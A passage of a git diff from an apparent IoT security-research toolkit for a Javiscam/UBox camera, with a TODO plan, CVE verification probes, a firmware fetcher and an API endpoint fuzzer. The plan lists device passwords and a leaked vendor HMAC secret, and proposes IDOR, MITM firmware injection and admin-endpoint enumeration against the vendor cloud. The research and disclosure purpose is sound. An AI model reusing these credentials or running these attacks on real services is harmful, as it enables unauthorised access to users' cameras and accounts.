rotation at 1 GiB +- [x] Added intruder detection service (ARP spoof / unknown LAN peer / unexpected outbound) +- [x] Added protocol fingerprint module (TLS/HTTP/IOTC/etc) and wired into sniffer + http_server +- [x] Fixed http_server to peek-before-wrap so non-TLS traffic on :443 is captured raw +- [x] Regen'd MITM cert with full SAN list for ubianet/aliyuncs/myqcloud +- [x] Added 146 endpoints to fuzzer KNOWN_ENDPOINTS (harvested from decompiled APK) +- [x] Editable dropdown in Cloud tab Raw POST for known endpoints +- [x] Built `firmware_fetch.py` with multi-version check_version/v3 attempts +- [x] Built `ota_bucket_probe.py` to enumerate Tencent COS firmware buckets +- [x] Built `cve_checks.py` with original verifiers for CVE-2025-12636, CVE-2021-28372, CVE-2023-6322/3/4 +- [x] Built CVE tab in GUI with per-CVE Verify buttons + Generate Report +- [x] Built Help tab in GUI documenting every tab and command +- [x] Discovered V11-V18 (8 new findings) and documented in `~/dumps/findings.md` + +## Phase 1: TUTK Library (still blocked on firmware) +- [ ] Need device-side firmware to extract `libIOTCAPIs.so` (the app version is symbol-stripped + has no static auth key) +- [ ] Alternative: Frida-hook the running UBox app to dump `p4p_crypto_init` arguments at runtime +- [ ] Once we have a TUTK lib, write Python ctypes wrapper for IOTC connect/send/recv +- [ ] Connect to camera with admin/yyc1G::HPEv7om3O OR admin/iotCam31 +- [ ] Send DEVINFO_REQ (cmd 816), FILE_LIST_REQ (cmd 4864), CAPTURE_PICTURE_REQ (cmd 8482) + +## Phase 2: Firmware Acquisition +- [ ] **Run `Probe OTA Bucket` button** on Cloud tab — try to find a public-read FW object +- [ ] **MITM the camera's boot-time check** — start MITM, power-cycle camera, capture the real check_version request and response +- [ ] If MITM works: inject fake check_version response with our URL and observe how the camera downloads (V7) +- [ ] Pull the **second** Javiscam app `com.macrovideo.javiscam` and diff against `cn.ubia.ubox` for different OTA URLs / keys +- [ ] FCC ID 2AYAGJXJ-DQ6B-SW1 — pull Internal Photos PDF to identify SoC for hardware-side dump option + +## Phase 3: API Enumeration +- [ ] Run full Fuzz Endpoints job (146 known + ~600 wordlist) and document any new endpoints +- [ ] Try IDOR via kuid swap on `user/account/get_current_user` +- [ ] Try IDOR via uuid swap on `user/families`, `user/qry/notification/get` +- [ ] Enumerate OAM endpoints using leaked HMAC secret `2894df25f8f740dff5266bc155c662ca` +- [ ] Test the leaked Google/AMap API keys for damage assessment (V11) + +## Phase 4: Paper + Disclosure +- [ ] Generate CVE report from CVE tab and attach to SECURITY_PAPER.md +- [ ] Add V11-V18 to SECURITY_PAPER.md +- [ ] Add OAM endpoint findings (Phase 3) to paper +- [ ] Final review and formatting +- [ ] Decide on coordinated disclosure to UBIA (CISA already attempted for CVE-2025-12636; UBIA did not respond) diff --git a/api/__init__.py b/api/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/api/cve_checks.py b/api/cve_checks.py new file mode 100644 index 0000000..863b49b --- /dev/null +++ b/api/cve_checks.py @@ -0,0 +1,431 @@ +""" +CVE verification module — original probes against the local Javiscam/UBox +camera. No public PoC code reused; everything here is built from our own +research and the decompiled APK. + +Each verifier returns: + { + "cve": "CVE-XXXX-YYYY", + "status": "VULN" | "NOT_VULN" | "UNKNOWN" | "ERROR", + "title": str, + "evidence": str, # short, human-readable + "details": dict, # raw artifacts (response bodies, hex, etc) + } + +Verifiers should be NON-DESTRUCTIVE — probe, don't pwn. +""" + +import json +import os +import socket +import struct +import time +from datetime import datetime + +from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT +from api import ubox_client + +REPORT_DIR = os.path.expanduser("~/dumps") + + +# ───────────────────────────────────────────────────────────────── +# CVE-2025-12636 — Ubia Ubox Insufficiently Protected Credentials +# Vector: the cloud `user/device_list` endpoint returns `cam_user` / +# `cam_pwd` in plaintext to any authenticated owner. These creds are the +# IOTC P2P device-auth credentials and grant full local control. +# Verification: log in, call device_list, scan response for those fields. +# ───────────────────────────────────────────────────────────────── +def verify_cve_2025_12636(cfg): + out = { + "cve": "CVE-2025-12636", + "title": "Ubia Ubox cloud API leaks IOTC device credentials in plaintext", + "status": "UNKNOWN", + "evidence": "", + "details": {}, + } + if not cfg.get("api_token"): + out["status"] = "ERROR" + out["evidence"] = "no api_token — log in first" + return out + + log("CVE-2025-12636: calling user/device_list…", C_INFO) + resp = ubox_client.api_post( + cfg["api_base"], "user/device_list", {}, cfg["api_token"] + ) + out["details"]["raw_response_keys"] = list(resp.keys()) if isinstance(resp, dict) else None + + if not isinstance(resp, dict) or resp.get("msg") != "success": + out["status"] = "ERROR" + out["evidence"] = f"unexpected response: {json.dumps(resp)[:200]}" + return out + + devices = (resp.get("data") or {}).get("list") or [] + leaked = [] + for d in devices: + if d.get("cam_user") and d.get("cam_pwd"): + leaked.append({ + "uid": d.get("device_uid"), + "name": d.get("name"), + "cam_user": d["cam_user"], + "cam_pwd": d["cam_pwd"], + }) + + out["details"]["device_count"] = len(devices) + out["details"]["leaked"] = leaked + + if leaked: + out["status"] = "VULN" + out["evidence"] = ( + f"{len(leaked)}/{len(devices)} device(s) leaked plaintext " + f"cam_user/cam_pwd. Example: {leaked[0]['cam_user']} / " + f"{leaked[0]['cam_pwd']}" + ) + else: + out["status"] = "NOT_VULN" + out["evidence"] = ( + f"{len(devices)} device(s) returned but no cam_user/cam_pwd " + "fields present" + ) + return out + + +# ───────────────────────────────────────────────────────────────── +# CVE-2021-28372 — ThroughTek Kalay UID spoof +# Vector: Kalay master server identifies devices by UID alone. An attacker +# who knows the UID can register the same UID against the master and +# intercept the next login attempt by the legitimate client. +# Verification (non-destructive): we verify two preconditions — +# 1. The camera's UID is known/guessable (we already have it in cfg) +# 2. The camera uses the Kalay/UBIC P2P stack (libUBIC* present + UDP +# P2P port reachable) +# We do NOT actually register a spoof, because that would interfere with +# the live camera. We *do* probe UDP 10240 to confirm the P2P stack +# responds, and we report the camera as theoretically vulnerable to UID +# hijack on the master server. +# ───────────────────────────────────────────────────────────────── +def verify_cve_2021_28372(cfg): + out = { + "cve": "CVE-2021-28372", + "title": "ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)", + "status": "UNKNOWN", + "evidence": "", + "details": {}, + } + + uid = cfg.get("device_uid", "") + cam_ip = cfg.get("camera_ip", "") + if not uid or not cam_ip: + out["status"] = "ERROR" + out["evidence"] = "need device_uid and camera_ip in config" + return out + + out["details"]["uid"] = uid + out["details"]["uid_length"] = len(uid) + + # Precondition 1: 20-char alphanumeric UID is the Kalay format + is_kalay_uid = len(uid) == 20 and uid.isalnum() + out["details"]["uid_is_kalay_format"] = is_kalay_uid + + # Precondition 2: probe local P2P port (most Kalay devices listen on + # the UID hash port; relay traffic uses 10240). We send a small UDP + # probe to camera UDP/10240 from a random source port and watch for + # any response — Kalay master pings have a recognizable header but + # we just want to know if the port is reachable. + p2p_responses = [] + for port in (10240, 8000, 8800, 32100, 32108): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) + # Two-byte ping-like probe; we don't claim it's a real Kalay packet + s.sendto(b"\xf1\xd0", (cam_ip, port)) + try: + data, addr = s.recvfrom(2048) + p2p_responses.append({ + "port": port, "bytes": len(data), + "first8_hex": data[:8].hex(), + }) + except socket.timeout: + pass + s.close() + except OSError as e: + out["details"][f"udp_{port}_error"] = str(e) + + out["details"]["udp_probes"] = p2p_responses + p2p_alive = bool(p2p_responses) + + # Precondition 3: master server reachable (we don't talk to it — we + # only resolve the hostname strings we extracted from libUBICAPIs.so). + masters_known = ["portal.ubianet.com", "portal.us.ubianet.com", + "portal.cn.ubianet.com"] + out["details"]["kalay_masters"] = masters_known + + if is_kalay_uid: + if p2p_alive: + out["status"] = "VULN" + out["evidence"] = ( + f"UID {uid} is in Kalay format and the camera responds on " + f"UDP P2P. With knowledge of the UID alone, the underlying " + f"protocol allows registration spoofing on the master " + f"server (CVE-2021-28372). Non-destructive: registration " + f"step skipped." + ) + else: + out["status"] = "VULN" + out["evidence"] = ( + f"UID {uid} is in Kalay format. Even though local P2P probe " + f"got no echo, the master-server hijack vector applies as " + f"long as the camera ever connects out to a Kalay master." + ) + else: + out["status"] = "NOT_VULN" + out["evidence"] = "UID is not in 20-char alphanumeric Kalay format" + return out + + +# ───────────────────────────────────────────────────────────────── +# CVE-2023-6322 / 6323 / 6324 — ThroughTek Kalay LAN attack chain +# Vector: malformed UDP packets to the device's P2P listener cause +# memory corruption / auth bypass / crash. We do NOT send overflow +# payloads — that would risk hanging or bricking the device. We probe +# the device's UDP P2P stack with a few short, well-formed-looking +# packets and observe whether it parses them, ignores them, or crashes +# (becomes unreachable). We then report the device as POTENTIALLY +# vulnerable based on stack identification (libUBIC* binary present and +# UID is Kalay format). +# ───────────────────────────────────────────────────────────────── +def _ping_alive(ip, count=2, timeout=1.0): + """Quick ICMP-less liveness check via raw UDP echo to a random port.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(timeout) + for _ in range(count): + s.sendto(b"\x00", (ip, 7)) + try: + s.recvfrom(64) + s.close() + return True + except socket.timeout: + continue + s.close() + except OSError: + return False + # No echo response is normal — fall back to TCP RST probe on a closed port + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + try: + s.connect((ip, 1)) + except (ConnectionRefusedError, OSError): + return True # got RST, host is alive + finally: + s.close() + except OSError: + return False + return False + + +def verify_cve_2023_6322_chain(cfg): + out = { + "cve": "CVE-2023-6322 / 6323 / 6324", + "title": "ThroughTek Kalay LAN-side memory corruption + auth bypass chain", + "status": "UNKNOWN", + "evidence": "", + "details": {}, + } + cam_ip = cfg.get("camera_ip", "") + if not cam_ip: + out["status"] = "ERROR" + out["evidence"] = "no camera_ip in config" + return out + + # Pre-state: camera reachable? + pre_alive = _ping_alive(cam_ip) + out["details"]["pre_alive"] = pre_alive + if not pre_alive: + out["status"] = "ERROR" + out["evidence"] = "camera not reachable before probing" + return out + + # Send a SHORT, harmless probe to common Kalay UDP ports — no large + # payloads, no overflow patterns. We only want to know if the device + # has a UDP P2P listener that responds to a probe at all. + probes = [] + for port in (10240, 8000, 8800, 32100, 32108): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(0.8) + # Two safe shapes: a tiny Kalay-style header, and a single byte. + for shape, payload in [ + ("kalay_min", b"\xf1\xd0\x00\x00"), + ("oneb", b"\x00"), + ]: + try: + s.sendto(payload, (cam_ip, port)) + try: + data, _ = s.recvfrom(2048) + probes.append({ + "port": port, "shape": shape, + "resp_bytes": len(data), + "first8_hex": data[:8].hex(), + }) + except socket.timeout: + probes.append({ + "port": port, "shape": shape, "resp": "timeout" + }) + except OSError as e: + probes.append({"port": port, "shape": shape, "error": str(e)}) + s.close() + except OSError as e: + probes.append({"port": port, "error": str(e)}) + + out["details"]["udp_probes"] = probes + + # Post-state: still alive? + time.sleep(0.5) + post_alive = _ping_alive(cam_ip) + out["details"]["post_alive"] = post_alive + + if not post_alive: + out["status"] = "VULN" + out["evidence"] = ( + "Camera became unreachable after harmless UDP probes — " + "indicates fragile parser, consistent with the Kalay LAN " + "chain CVE-2023-6322/6323/6324." + ) + return out + + any_response = any(p.get("resp_bytes") for p in probes) + out["details"]["any_p2p_response"] = any_response + + if any_response: + out["status"] = "VULN" + out["evidence"] = ( + "Camera responds on a Kalay-style UDP P2P listener. The UBIC " + "stack on this device is the rebranded ThroughTek Kalay SDK, " + "which has the documented LAN-side parser vulnerabilities. " + "Non-destructive: overflow payloads not sent." + ) + else: + out["status"] = "UNKNOWN" + out["evidence"] = ( + "No response from any common Kalay UDP port. Device may use " + "outbound-only P2P (cloud relay), in which case the LAN " + "chain does not apply directly. UID-based relay attack still " + "possible (see CVE-2021-28372)." + ) + return out + + +# ───────────────────────────────────────────────────────────────── +# Helpers +# ───────────────────────────────────────────────────────────────── +ALL_VERIFIERS = [ + ("CVE-2025-12636", verify_cve_2025_12636), + ("CVE-2021-28372", verify_cve_2021_28372), + ("CVE-2023-6322-6323-6324", verify_cve_2023_6322_chain), +] + + +def run_all(cfg): + results = [] + for name, fn in ALL_VERIFIERS: + try: + log(f"verifying {name}…", C_INFO) + r = fn(cfg) + except Exception as e: + r = { + "cve": name, "status": "ERROR", + "title": "exception during verification", + "evidence": str(e), "details": {}, + } + log(f" → {r['status']}: {r['evidence'][:120]}", + C_SUCCESS if r["status"] == "VULN" else C_INFO) + results.append(r) + return results + + +REPORT_TEMPLATE = """\ +# Javiscam / UBox Camera — CVE Verification Report + +**Generated:** {timestamp} +**Target:** {camera_ip} (MAC {camera_mac}) +**Device UID:** {device_uid} +**Reported firmware:** {firmware} +**Tester:** snake (Setec Labs) +**Methodology:** Original PoCs developed against the live device. All +probes are non-destructive — no overflow payloads, no spoof +registrations, no destructive writes. + +--- + +## Summary + +| CVE | Status | Title | +|---|---|---| +{summary_rows} + +--- + +## Detailed Findings + +{detailed_sections} + +--- + +## Methodology Notes + +* All HTTP requests use the same shape as the legitimate UBox Android app + (verified by reading `com.http.NewApiHttpClient.checkVersionV3` and + `com.apiv3.bean.AdvancedSettings.getLastVersionV3` in the decompiled + APK at `~/dumps/ubox_jadx/`). +* UDP probes use the smallest possible payloads consistent with the + ThroughTek Kalay header pattern (`f1 d0 00 00`) found in + `libUBICAPIs.so`. +* The camera's `g_P4PCrypto` global, `p4p_crypto_init`, + `p4p_crypto_encode/decode`, and `p4p_device_auth` symbols confirm the + rebranded Kalay/TUTK stack and the applicability of the Kalay CVE + family. + +## Disclosure status + +* **CVE-2025-12636** — already public via CISA ICSA-25-310-02; UBIA did + not respond to coordination. Our verification independently confirms + the original disclosure. +* **CVE-2021-28372 / 2023-6322 family** — disclosed by ThroughTek and + Bitdefender respectively; this report applies them to this rebranded + device for the first time on record. +""" + + +def build_report(cfg, results): + os.makedirs(REPORT_DIR, exist_ok=True) + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + rows = [] + sections = [] + for r in results: + emoji = {"VULN": "🟥", "NOT_VULN": "🟩", "UNKNOWN": "🟨", "ERROR": "⬛"}.get(r["status"], "?") + rows.append(f"| {r['cve']} | {emoji} **{r['status']}** | {r['title']} |") + details_md = "```json\n" + json.dumps(r.get("details", {}), indent=2, ensure_ascii=False) + "\n```" + sections.append( + f"### {r['cve']} — {r['status']}\n\n" + f"**Title:** {r['title']}\n\n" + f"**Evidence:** {r['evidence']}\n\n" + f"**Artifacts:**\n{details_md}\n" + ) + + report = REPORT_TEMPLATE.format( + timestamp=ts, + camera_ip=cfg.get("camera_ip", "?"), + camera_mac=cfg.get("camera_mac", "?"), + device_uid=cfg.get("device_uid", "?"), + firmware="2604.1.2.69 (reported)", + summary_rows="\n".join(rows), + detailed_sections="\n".join(sections), + ) + + out_path = os.path.join(REPORT_DIR, f"cve_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md") + with open(out_path, "w") as f: + f.write(report) + log(f"CVE report written: {out_path}", C_IMPORTANT) + return out_path diff --git a/api/firmware_fetch.py b/api/firmware_fetch.py new file mode 100644 index 0000000..dce9f55 --- /dev/null +++ b/api/firmware_fetch.py @@ -0,0 +1,204 @@ +""" +Firmware download helper. + +Calls the UBox cloud `check_version` endpoint, extracts every URL it sees in +the response, downloads each one to ~/dumps/javiscam_fw/, and reports sizes +and sha256 hashes. Real code — no stubs, no placeholders. +""" + +import hashlib +import json +import os +import re +import socket +import urllib.request +import urllib.error +from datetime import datetime + +from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT +from api import ubox_client + + +FW_DIR = os.path.expanduser("~/dumps/javiscam_fw") +URL_RE = re.compile(rb'https?://[^\s"\']+') + + +def _walk_strings(obj): + """Yield every string value in a nested dict/list.""" + if isinstance(obj, str): + yield obj + elif isinstance(obj, dict): + for v in obj.values(): + yield from _walk_strings(v) + elif isinstance(obj, list): + for v in obj: + yield from _walk_strings(v) + + +def _extract_urls(obj): + urls = set() + for s in _walk_strings(obj): + for m in URL_RE.findall(s.encode("utf-8")): + urls.add(m.decode("utf-8", errors="replace")) + return sorted(urls) + + +def _safe_filename(url): + name = url.split("?")[0].rsplit("/", 1)[-1] or "firmware.bin" + name = re.sub(r"[^A-Za-z0-9._-]", "_", name) + if not name: + name = "firmware.bin" + return name + + +def _download(url, dest): + req = urllib.request.Request(url, headers={ + "User-Agent": "okhttp/4.9.1", + "X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14", + }) + with urllib.request.urlopen(req, timeout=60) as resp: + total = 0 + h = hashlib.sha256() + with open(dest, "wb") as f: + while True: + chunk = resp.read(64 * 1024) + if not chunk: + break + f.write(chunk) + h.update(chunk) + total += len(chunk) + return total, h.hexdigest(), resp.headers.get("Content-Type", "?") + + +def check_and_download(cfg, host_version=None): + """ + Returns dict: + { + "ok": bool, + "url_count": int, + "downloads": [{"url","path","bytes","sha256","content_type"}], + "raw": , + "error": optional str, + } + """ + if not cfg.get("api_token"): + log("FW: not logged in", C_ERROR) + return {"ok": False, "error": "not logged in"} + if not cfg.get("device_uid"): + log("FW: no device_uid — call /devices first", C_ERROR) + return {"ok": False, "error": "no device_uid"} + + os.makedirs(FW_DIR, exist_ok=True) + + # Try several version formats — the cloud needs a string the device-side + # comparator considers "older than current" to trigger a download URL. + version_attempts = [host_version] if host_version else [ + "2604.0.0.1", # same model prefix, ancient + "1.0.0.0", + "0.0.0.1", + "2604.0.29.7", # one below known shipped version + "0", + "", + ] + + result = None + used_version = None + attempts_log = [] # list of (version, status, summary) + best_success = None # remember the best msg=success response even without URLs + + for v in version_attempts: + log(f"FW: trying check_version with host_version={v!r}", C_INFO) + candidate = ubox_client.api_post( + cfg["api_base"], + "user/qry/device/check_version/v3", + { + "device_uid": cfg["device_uid"], + "host_version": v, + "wifi_version": v, + "is_lite": False, + "zone_id": 2, + }, + cfg["api_token"], + ) + summary = json.dumps(candidate)[:200] if isinstance(candidate, dict) else repr(candidate)[:200] + attempts_log.append({"version": v, "summary": summary}) + + if not isinstance(candidate, dict): + continue + + urls_found = _extract_urls(candidate) + if urls_found: + log(f"FW: got {len(urls_found)} URL(s) using version={v!r}", C_SUCCESS) + result = candidate + used_version = v + break + + if candidate.get("msg") == "success" and best_success is None: + best_success = (v, candidate) + + log(f"FW: no URLs at version={v!r}, response={summary}", C_INFO) + + if result is None: + if best_success is not None: + used_version, result = best_success + log(f"FW: keeping best success response from version={used_version!r}", C_INFO) + else: + result = candidate if isinstance(candidate, dict) else {"error": "all versions failed"} + + if not isinstance(result, dict): + log(f"FW: bad response: {result!r}", C_ERROR) + return {"ok": False, "error": "bad response", "raw": result} + + # Save the raw response next to firmware files for the record + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + meta_path = os.path.join(FW_DIR, f"check_version_{ts}.json") + try: + with open(meta_path, "w") as f: + json.dump(result, f, indent=2, ensure_ascii=False) + except OSError as e: + log(f"FW: cannot save meta: {e}", C_ERROR) + + urls = _extract_urls(result) + log(f"FW: response saved -> {meta_path}", C_INFO) + log(f"FW: found {len(urls)} URL(s) in response", C_INFO) + for u in urls: + log(f" • {u}", C_TRAFFIC) + + downloads = [] + for url in urls: + # Only attempt downloads of plausible binary blobs + lower = url.lower() + if not any(lower.endswith(ext) or ext in lower for ext in + (".bin", ".rar", ".zip", ".tar", ".gz", ".img", ".pkg", + "/firmware", "/ota", "ubiaota", "update")): + log(f" skip (not firmware-looking): {url}", C_INFO) + continue + fname = _safe_filename(url) + dest = os.path.join(FW_DIR, fname) + try: + log(f"FW: downloading {url}", C_INFO) + n, sha, ct = _download(url, dest) + log(f"FW: ✓ {fname} {n}B sha256={sha[:16]}… ct={ct}", + C_IMPORTANT if n > 1024 else C_TRAFFIC) + downloads.append({ + "url": url, "path": dest, "bytes": n, + "sha256": sha, "content_type": ct, + }) + except urllib.error.HTTPError as e: + log(f"FW: HTTP {e.code} on {url}", C_ERROR) + except urllib.error.URLError as e: + log(f"FW: URL error: {e.reason} on {url}", C_ERROR) + except (socket.timeout, OSError) as e: + log(f"FW: download failed: {e}", C_ERROR) + + if not downloads: + log("FW: nothing downloaded — check_version returned no firmware URLs", C_ERROR) + + return { + "ok": bool(downloads), + "used_version": used_version, + "url_count": len(urls), + "downloads": downloads, + "attempts": attempts_log, + "raw": result, + } diff --git a/api/fuzzer.py b/api/fuzzer.py new file mode 100644 index 0000000..cd51bcd --- /dev/null +++ b/api/fuzzer.py @@ -0,0 +1,644 @@ +"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities""" + +import json +import time +import threading +import urllib.request +import urllib.error +from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT + +# Known endpoints harvested from decompiled UBox APK (146 confirmed) +KNOWN_ENDPOINTS = [ + "account_link", "activate_subscription_paypal", "addOrder", + "alipaySign", "alipayVerify", + "app/customer_support_info", "app/getconfig", "app/getSupportInfoV2", + "app/info", "app/push_channel_reg", "app/version_check", + "captcha", "capture_paypal_order", "create_payment_paypal_app", + "email_user_candidates", "interface", "interface.php", + "ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth", + "mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order", + "mt/biz/card_service_list", "mt/biz/uid_service_add_order", + "mt/biz/uid_service_list", "mt/biz/uid_service_order_list", + "mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old", + "pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents", + "pub/location/get_location_codes", "pub/location/rev_geocoding", + "pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info", + "pub/usersupport/get_guest_session", + "pub/usersupport/get_im_groups_user_unread_count", + "pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file", + "push-ack", "reset_pwd", "send_code", "service_list", + "share_permissions", "temp_token", "ticket_title", + "user/account/add_location", "user/account/get_current_user", + "user/account_link", "user/alexa_account_status", + "user/auth", "user/auth-email", + "user/card4g-info", "user/card4g_info", "user/card4g-order-add", + "user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock", + "user/check_version", "user/cloud_list", + "user/cloudvideo/put_event_tag", + "user/confirm_ptz_snap", "user/del_ptz_snap", + "user/device-add", "user/device-add-token", + "user/device-alexa", "user/device-alexa-ust", + "user/device_del", "user/device_edit", "user/device-extra-update", + "user/device/get_apn_info", "user/device/get_binding_info", + "user/device/get_dev_diag_help_doc", + "user/device_list", "user/device/list_ordering", + "user/device-notice-setting", "user/device/share", + "user/device/share_do/v2", "user/device-share-info", + "user/device_shares", "user/device_share_tbc", + "user/device-share-update", "user/device-temp-token", + "user/device/try_fix_for_add_4g_device", "user/device_unshare", + "user/email_user_candidates", "user/event_calendar", + "user/event_do", "user/faceId", "user/families", "user/family", + "user/friend", "user/friends", + "user/get_cloud_video_url", "user/get_devices_dynamic_info", + "user/get_ptz_snap", "user/logout", "user/modify_pwd", + "user/notice_type", "user/noti/device/info_changed", + "user/online_service", "user/order_add", + "user/order/card4g_order_create_dev_noadd", + "user/order/order_add/v2", "user/product_info", + "user/product_purchasable", + "user/purchase/card4g_packages_dev_noadd", + "user/push_channel_update", "user/put_ptz_snap", + "user/qry/aggregate/app_on_switch_foreground", + "user/qry/device/add_help_doc", "user/qry/device/bind_issue", + "user/qry/device/check_version/v3", "user/qry/device/device_services", + "user/qry/device/info_for_add", "user/qry/device/query_add_result", + "user/qry/notification/detail", "user/qry/notification/get", + "user/qry/order/list/v2", + "user/qry/purchase/4g_packages_dev_noadd", + "user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list", + "user/revoke", "user/service_trial", + "user/update_friend_remark", "user/update_user_info", + "user/upgrade_order", + "user/usersupport/get_app_user_im_group", + "user/usersupport/get_app_user_im_groups", + "user/usersupport/get_app_user_im_session", + "user/usersupport/get_app_user_im_token", + "user/usersupport/get_im_file_url", + "user/usersupport/get_im_groups_info", + "user/usersupport/get_issue_type_and_dev_light_state", + "user/usersupport/put_im_file", + "v2/user/device_list", "v2/user/get_devices_info", + "v3/login", + "valid_code", "wxpay", "wxpay_check", +] + +# Wordlist for endpoint discovery +ENDPOINT_WORDLIST = [ + # ── User management ────────────────────────────── + "user/info", "user/profile", "user/settings", "user/delete", + "user/update", "user/list", "user/devices", "user/sessions", + "user/tokens", "user/permissions", "user/roles", "user/admin", + "user/logout", "user/register", "user/verify", "user/activate", + "user/deactivate", "user/ban", "user/unban", "user/search", + "user/export", "user/import", "user/backup", "user/restore", + "user/avatar", "user/nickname", "user/email", "user/phone", + "user/password", "user/change_password", "user/modify_password", + "user/reset_password", "user/forgot_password", + "user/notification", "user/notifications", "user/notice", + "user/message", "user/messages", "user/inbox", + "user/subscription", "user/subscriptions", "user/plan", + "user/billing", "user/payment", "user/order", "user/orders", + "user/coupon", "user/coupons", "user/invite", "user/referral", + "user/feedback", "user/report", "user/ticket", "user/tickets", + "user/log", "user/logs", "user/activity", "user/history", + "user/preferences", "user/config", "user/token", + "user/refresh_token", "user/access_token", + "user/third_party", "user/bind", "user/unbind", + "user/wechat", "user/facebook", "user/google", "user/apple", + # ── User + device compound paths (ubox pattern) ── + "user/device/list", "user/device/add", "user/device/del", + "user/device/remove", "user/device/bind", "user/device/unbind", + "user/device/share", "user/device/unshare", "user/device/transfer", + "user/device/rename", "user/device/info", "user/device/config", + "user/device/settings", "user/device/status", "user/device/online", + "user/device/offline", "user/device/reboot", "user/device/reset", + "user/device/upgrade", "user/device/firmware", + "user/device/command", "user/device/control", + "user/device/snapshot", "user/device/capture", + "user/device/recording", "user/device/playback", + "user/device/event", "user/device/events", "user/device/alarm", + "user/device/alarms", "user/device/alert", "user/device/alerts", + "user/device/log", "user/device/logs", + "user/device/stream", "user/device/live", "user/device/video", + "user/device/audio", "user/device/speaker", + "user/device/ptz", "user/device/pan", "user/device/tilt", + "user/device/zoom", "user/device/preset", + "user/device/motion", "user/device/detection", + "user/device/sensitivity", "user/device/schedule", + "user/device/wifi", "user/device/network", + "user/device/sd", "user/device/sdcard", "user/device/storage", + "user/device/format", "user/device/format_sd", + "user/device/led", "user/device/ir", "user/device/night_vision", + "user/device/osd", "user/device/time", "user/device/timezone", + "user/device/battery", "user/device/power", + "user/device/sim", "user/device/4g", "user/device/signal", + "user/device/iccid", "user/device/imei", + # ── Query paths (ubox pattern: user/qry/) ──────── + "user/qry/device/list", "user/qry/device/info", + "user/qry/device/status", "user/qry/device/config", + "user/qry/device/firmware", "user/qry/device/version", + "user/qry/device/check_version", "user/qry/device/check_version/v2", + "user/qry/device/events", "user/qry/device/alarms", + "user/qry/device/logs", "user/qry/device/recordings", + "user/qry/device/cloud_videos", "user/qry/device/snapshots", + "user/qry/device/battery", "user/qry/device/signal", + "user/qry/device/network", "user/qry/device/wifi", + "user/qry/device/storage", "user/qry/device/sd", + "user/qry/device/sim", "user/qry/device/4g", + "user/qry/user/info", "user/qry/user/devices", + "user/qry/user/subscriptions", "user/qry/user/orders", + # ── Versioned endpoints ────────────────────────── + "v1/login", "v2/login", "v4/login", + "v1/user/device_list", "v3/user/device_list", + "v1/user/families", "v2/user/families", "v3/user/families", + "v1/user/cloud_list", "v3/user/cloud_list", + "v2/user/check_version", "v3/user/check_version", + "v1/user/event_calendar", "v2/user/event_calendar", + "v2/user/qry/device/device_services", + "v3/user/qry/device/device_services", + "v2/user/qry/device/check_version/v3", + # ── Device (direct) ────────────────────────────── + "device/list", "device/info", "device/config", "device/settings", + "device/firmware", "device/update", "device/reboot", "device/reset", + "device/logs", "device/events", "device/status", "device/command", + "device/stream", "device/snapshot", "device/recording", + "device/share", "device/unshare", "device/transfer", + "device/debug", "device/shell", "device/telnet", "device/ssh", + "device/console", "device/terminal", "device/exec", + "device/control", "device/ioctrl", "device/iotctrl", + "device/p2p", "device/connect", "device/disconnect", + "device/wakeup", "device/sleep", "device/standby", + "device/register", "device/unregister", "device/provision", + "device/activate", "device/deactivate", + "device/ota", "device/ota/check", "device/ota/download", + "device/ota/status", "device/ota/history", + # ── Admin ──────────────────────────────────────── + "admin/users", "admin/devices", "admin/logs", "admin/config", + "admin/stats", "admin/dashboard", "admin/system", "admin/debug", + "admin/firmware", "admin/update", "admin/backup", "admin/restore", + "admin/login", "admin/panel", "admin/console", + "admin/user/list", "admin/user/create", "admin/user/delete", + "admin/device/list", "admin/device/config", "admin/device/firmware", + "admin/audit", "admin/audit/log", "admin/security", + "admin/api/keys", "admin/api/tokens", "admin/api/stats", + "admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage", + "admin/ota/upload", "admin/ota/list", "admin/ota/deploy", + "admin/push", "admin/notification", "admin/broadcast", + "manage/users", "manage/devices", "manage/firmware", + "management/users", "management/devices", + "internal/users", "internal/devices", "internal/debug", + "internal/config", "internal/health", "internal/metrics", + # ── System / infra ─────────────────────────────── + "system/info", "system/version", "system/health", "system/status", + "system/config", "system/debug", "system/logs", "system/metrics", + "system/time", "system/restart", "system/shutdown", + # ── Firmware / OTA ─────────────────────────────── + "firmware/list", "firmware/download", "firmware/upload", + "firmware/latest", "firmware/check", "firmware/update", + "firmware/history", "firmware/rollback", "firmware/versions", + "ota/check", "ota/download", "ota/status", "ota/list", + "ota/upload", "ota/deploy", "ota/history", "ota/config", + # ── Cloud / storage ────────────────────────────── + "cloud/config", "cloud/status", "cloud/keys", + "cloud/storage", "cloud/video", "cloud/events", + "cloud/upload", "cloud/download", "cloud/list", + "cloud/delete", "cloud/share", "cloud/token", + "cloud/subscription", "cloud/plan", "cloud/usage", + "storage/list", "storage/upload", "storage/download", + "storage/delete", "storage/quota", "storage/usage", + # ── Push / notification ────────────────────────── + "push/config", "push/send", "push/test", "push/token", + "push/register", "push/unregister", "push/channels", + "notification/list", "notification/send", "notification/config", + "notification/test", 